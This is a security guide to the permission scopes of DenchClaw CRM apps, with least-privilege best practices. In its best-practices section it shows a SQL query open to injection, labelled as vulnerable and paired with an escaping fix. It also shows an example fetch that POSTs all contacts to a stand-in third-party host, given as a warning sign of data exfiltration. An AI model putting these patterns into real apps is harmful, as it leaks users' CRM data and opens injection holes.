DenchClaw App Permissions: A Security Guide
Understand DenchClaw App permissions, how to configure the .dench.yaml permissions field, and best practices for building secure apps with the least-privilege principle.
DenchClaw App Permissions: A Security Guide
Every Dench App runs inside the DenchClaw workspace with access to your CRM data, AI agent, and potentially external APIs. That access needs to be scoped correctly — both to protect your data and to make your app's intent clear to anyone who installs it.
The permissions system in DenchClaw is defined in each app's .dench.yaml manifest. This guide explains every available permission, how they're enforced, and how to design apps that follow the principle of least privilege.
How Permissions Work#
When DenchClaw loads a Dench App, it reads the permissions array in .dench.yaml and configures the window.dench bridge API accordingly. Any bridge call that requires a permission not listed in the manifest will fail with a permission error.
# .dench.yaml
name: My App
permissions:
- read:crm
- write:crm
- http:external
- chat:createThis manifest-based approach means:
- Users can inspect what any app can access before installing
- DenchClaw can enforce restrictions at the bridge layer
- Apps can't silently request more access than declared
Available Permission Scopes#
read:crm#
What it grants: Read access to all DuckDB views (v_people, v_companies, v_deals, etc.) via dench.db.query().
What it blocks: Any INSERT, UPDATE, or DELETE SQL statements. Write operations via dench.objects or dench.agent.
When to use: Analytics dashboards, reporting widgets, read-only views of your data.
// Allowed with read:crm
const deals = await dench.db.query("SELECT * FROM v_deals");
// Blocked without write:crm
await dench.db.query("UPDATE entries SET ..."); // Permission errorwrite:crm#
What it grants: Write access to CRM data via dench.agent.run() for creating and updating entries, and via direct DuckDB UPDATE statements.
Implicitly requires: read:crm (you need to read to write usefully).
When to use: Apps that update entry fields, mark contacts as contacted, advance deals through stages, or create new entries.
Best practice: Always use dench.agent.run() for writes rather than raw SQL. The agent validates field names and types, preventing schema corruption.
http:external#
What it grants: The ability to call external URLs via dench.http.fetch(), bypassing browser CORS restrictions.
When to use: Apps that call third-party APIs (enrichment, weather, stock data, webhooks).
Security note: This permission is the most sensitive. An app with http:external can potentially exfiltrate your CRM data to a third-party server. Only install apps with this permission if you trust the source and have reviewed the code.
// Only works with http:external
const data = await dench.http.fetch("https://api.clearbit.com/v1/companies", {
method: 'GET',
headers: { 'Authorization': 'Bearer ...' }
});chat:create#
What it grants: The ability to create new AI chat sessions and send messages via dench.chat.createSession() and dench.chat.send().
When to use: Apps that generate AI content (email drafts, proposals, summaries, analysis).
Cost implication: Each chat.send() call uses your configured AI model. Apps with this permission consume AI tokens when used. Design them to avoid unnecessary calls.
store:read and store:write#
What they grant: Access to the app's persistent key-value store via dench.store.get() and dench.store.set().
Note: By default, all apps get store access scoped to their own app namespace. store:read and store:write are implied unless explicitly blocked.
When to specify: If your app intentionally has no persistent state, you can omit these to signal that to users.
events:subscribe#
What it grants: Real-time event subscription via dench.events.on().
Events available: entry:created, entry:updated, entry:deleted, message:received.
When to use: Live dashboards, activity feeds, any app that needs to react to CRM changes in real time.
cron:schedule#
What it grants: The ability to schedule recurring background tasks via dench.cron.schedule().
When to use: Apps that need to run periodic jobs — daily digests, scheduled enrichment, timed reminders.
Security note: Apps with cron:schedule can run code on your machine even when you're not using the app. Review scheduled tasks carefully.
Security Best Practices#
1. Start with Minimal Permissions#
Begin with only read:crm and add permissions as you discover you need them. It's much easier to debug a "permission denied" error than to audit unexpected data access later.
# Good: minimal starting point
permissions:
- read:crm
# Only add write:crm when you actually implement write operations2. Never Store Secrets in App Files#
API keys belong in dench.store, not hardcoded in your app files:
// Bad: hardcoded API key in your app (visible to anyone who opens the file)
const API_KEY = 'sk-abc123...';
// Good: stored in dench.store, never in source
const apiKey = await dench.store.get('my_api_key');
if (!apiKey) {
await dench.ui.toast({ message: 'Configure your API key in app settings', type: 'warning' });
return;
}Add a settings panel to your app that prompts for API keys and saves them to dench.store.
3. Validate User Input Before Passing to SQL#
If your app takes user input and uses it in a DuckDB query, sanitize it:
// Vulnerable to injection
const results = await dench.db.query(`SELECT * FROM v_people WHERE "Company" = '${userInput}'`);
// Safe: escape single quotes
const safe = userInput.replace(/'/g, "''");
const results = await dench.db.query(`SELECT * FROM v_people WHERE "Company" = '${safe}'`);
// Best: use parameterized queries when supported4. Review http:external Calls Carefully#
Before installing any app with http:external, check what URLs it calls and what data it sends:
// Look for calls like this — what data is being sent?
await dench.http.fetch('https://third-party.com/api', {
method: 'POST',
body: JSON.stringify({ contacts: allContacts }) // This sends all your contacts externally!
});5. Use the Permissions Field as Documentation#
Even if you're building apps just for yourself, fill in the permissions field completely. It documents your app's access needs and helps you audit scope when something goes wrong.
Permissions Reference Table#
| Permission | dench.db.query() reads | dench.db.query() writes | dench.agent.run() writes | External HTTP | AI chat | Events | Cron |
|---|---|---|---|---|---|---|---|
read:crm | ✅ | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ |
write:crm | ✅ | ✅ | ✅ | ❌ | ❌ | ❌ | ❌ |
http:external | ❌ | ❌ | ❌ | ✅ | ❌ | ❌ | ❌ |
chat:create | ❌ | ❌ | ❌ | ❌ | ✅ | ❌ | ❌ |
events:subscribe | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | ❌ |
cron:schedule | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ |
Frequently Asked Questions#
What happens if an app calls a bridge method without the required permission?#
The bridge throws a permission error: DenchPermissionError: read:crm permission required. The app should handle this gracefully with a user-facing message.
Can apps access other apps' store data?#
No. Each app's store namespace is isolated by app ID. App A cannot read App B's stored keys.
How do I audit what apps are installed and what permissions they have?#
Check ~/.openclaw-dench/workspace/apps/ and read each .dench.yaml. You can also ask DenchClaw: "What apps do I have installed and what permissions do they use?"
Can an app request permissions at runtime (like mobile apps)?#
Not currently. Permissions are declared statically in .dench.yaml. Runtime permission escalation is not supported — if an app needs a permission, it must declare it upfront.
Is there a way to grant permissions to only specific objects?#
Object-level permission scoping (e.g., read:crm:deals vs read:crm:people) is planned for a future release. Currently, read:crm grants access to all CRM objects.
Ready to try DenchClaw? Install in one command: npx denchclaw. Full setup guide →
